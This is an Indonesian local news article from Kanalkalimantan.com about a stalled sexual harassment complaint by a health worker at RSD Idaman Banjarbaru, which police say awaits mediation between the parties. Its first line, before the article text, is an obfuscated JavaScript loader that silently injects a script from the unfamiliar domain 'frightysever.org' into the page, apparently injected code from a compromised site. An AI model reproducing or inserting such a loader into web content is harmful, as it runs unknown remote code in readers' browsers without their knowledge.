(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kasus dugaan pelecehan seksual yang dialami oleh salah satu Tenaga Kesehatan (Nakes) Rumah Sakit Idaman (RSD) Idaman Banjarbaru jadi sorotan, sebab pelapor belum melanjutkan proses hukum di Polres Banjarbaru.
Hingga Senin (20/1/2025) siang, pihak kepolisian melalui Unit Pelayanan Perempuan dan Anak (PPA) Satreskrim Polres Banjarbaru belum bisa menaikkan kasus dari tahap penyelidikan menjadi penyidikan, sebab masih menunggu proses mediasi antara pelapor dan terlapor.
Kasi Humas Polres Banjarbaru, Ipda Kardi Gunadi mengatakan, saat ini pihak kepolisian hanya menunggu keputusan dari pelapor mengingat di polisi proses hukum yang diajukan hanya berupa aduan masyarakat.
“Belum naik LP, belum naik sidik. Jadi kami pun masih menunggu karena dari pihak pelapor berinisiatif dengan pihak terlapor untuk melakukan mediasi, dan kita pun memberikan kesempatan,” ujar Kasi Humas Polres Banjarbaru, Ipda Kardi Gunadi, Senin (20/1/2025) siang.
Dalam proses hukum sementara, katanya, pelapor atau korban meminta waktu untuk bermediasi dengan pihak terlapor, sehingga pihak kepolisian pun memberikan kesempatan.
Baca juga: Pasang Lampu Lalin di Trikora – Guntung Manggis atau Menjadi Simpang Tiga
“Apabila sudah ada hasil mediasi pihaknya dipersilahkan datang ke Unit PPA untuk melanjutkan laporannya, apakah akan diproses atau tidak,” jelas dia.
Kendati demikian, Iptu Kardi menyebut bahwa selama proses penyelidikan yang sebelumnya dilakukan polisi telah menemukan unsur pidana yang memenuhi untuk kasus ini dinaikan tahapnya menjadi penyidikan.
“Unsur pidananya sudah terpenuhi dalam hal ini sudah kita konfirmasi ke Kasat Reskrim dan Kanit PPA bahwa sudah masuk unsur semuanya tinggal menetapkan tersangka apabila dalam proses tidak ada hasil dari mediasi,” ungkapnya.
Baca juga: Sekda Kalsel Roy Rizali Ditarik ke Pusat, Dilantik Jadi Dirjen Bina Marga
Dirinya menegaskan tidak intimidasi dari polisi kepada korban terkait proses mediasi yang saat ini masih dilakukan.
“Masih menunggu, istilahnya tidak mau menggangu proses mediasi yang dilakukan saat ini,” imbuh dia.
Polisi pun tak memberikan tenggat waktu untuk bisa pelapor melanjutkan proses hukumnya di Polres Banjarbaru.
Baca juga: Puncak Musim Penghujan, Masyarakat Kabupaten Banjar Diminta Tingkatkan Kesiagaan
“Hanya kita berpikir kalau bisa secepatnya agar di luaran tidak jadi bola panas masyarakat berpikirnya bahwa polisi yang terlambat, namun sebenarnya kita juga menunggu juga hasil mediasinya bagaimana,” tuntas Iptu Kardi.
Sebelumnya melalui informasi dihimpun bahwa, kejadian pelecehan ini dialami korban perempuan berinisial I (33) yang diduga dilecehkan oleh oknum ASN Pemprov Kalsel. Terduga terlapor ini pun berinisial T (58) saat ini bertugas di BPSDM Provinsi Kalsel.
Kasi Humas juga menegaskan bahwa dalam tahap penyelidikan sebelumnya seluruh unsur yang terlibat sudah masuk dalam pemeriksaan.
Mulai dari saksi, terlapor hingga pelapor. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.